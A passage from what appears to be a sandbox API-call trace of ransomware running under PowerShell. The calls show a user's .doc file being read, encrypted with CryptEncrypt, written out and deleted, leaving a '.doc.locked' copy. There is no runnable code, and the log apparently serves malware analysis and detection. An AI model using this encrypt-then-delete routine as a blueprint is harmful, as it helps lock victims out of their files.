Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.256] ReadFile (in: hFile=0x858, lpBuffer=0x6b10580, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6b10580*, lpNumberOfBytesRead=0x99ae7a8*=0x57d5, lpOverlapped=0x0) returned 1 [0133.259] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x692b4d0*, pdwDataLen=0x99ae79c*=0x57d0, dwBufLen=0x57d0 | out: pbData=0x692b4d0*, pdwDataLen=0x99ae79c*=0x57d0) returned 1 [0133.259] WriteFile (in: hFile=0x874, lpBuffer=0x6915fe8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6915fe8*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.259] WriteFile (in: hFile=0x874, lpBuffer=0x692c4bc*, nNumberOfBytesToWrite=0x47e4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x692c4bc*, lpNumberOfBytesWritten=0x99ae780*=0x47e4, lpOverlapped=0x0) returned 1 [0133.260] ReadFile (in: hFile=0x858, lpBuffer=0x69174c4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69174c4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.260] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6930cc4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6930cc4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.260] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6930cf8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6930cf8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.260] WriteFile (in: hFile=0x874, lpBuffer=0x6915fe8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6915fe8*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.260] CloseHandle (hObject=0x874) returned 1 [0133.262] CloseHandle (hObject=0x858) returned 1 [0133.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.262] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.262] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.262] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.262] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc")) returned 0x20 [0133.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.264] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.264] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.264] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.264] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.264] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.264] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.264] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.264] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.264] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.264] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.264] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0133.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0133.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0133.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0133.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc")) returned 0x20 [0133.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc\\", lpFilePart=0x0) returned 0x33 [0133.265] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.266] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.266] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.266] CoTaskMemFree (pv=0x8eb8930) [0133.267] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc")) returned 0x20 [0133.267] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.267] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.267] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc"), fInfoLevelId=0x0, lpFileInformation=0x69431a8 | out: lpFileInformation=0x69431a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a38210, ftCreationTime.dwHighDateTime=0x1d4a109, ftLastAccessTime.dwLowDateTime=0x9f513a00, ftLastAccessTime.dwHighDateTime=0x1d4acac, ftLastWriteTime.dwLowDateTime=0x9f513a00, ftLastWriteTime.dwHighDateTime=0x1d4acac, nFileSizeHigh=0x0, nFileSizeLow=0x57d5)) returned 1 [0133.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.267] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc")) returned 1 [0133.272] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.272] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.272] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.272] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.272] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc.locked")) returned 0x20 [0133.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc.locked")) returned 0x20 [0133.273] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", lpFilePart=0x0) returned 0x39 [0133.274] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc.locked", lpFilePart=0x0) returned 0x39 [0133.274] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.274] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc", lpFilePart=0x0) returned 0x32 [0133.274] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.274] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.274] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.274] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.276] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.276] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.277] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.277] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.278] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.278] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.278] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.278] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.278] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.279] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.279] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.280] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.280] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.280] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.281] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.281] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.281] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.281] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.281] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.283] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.285] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0133.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.285] GetFileAttributesExW (in: 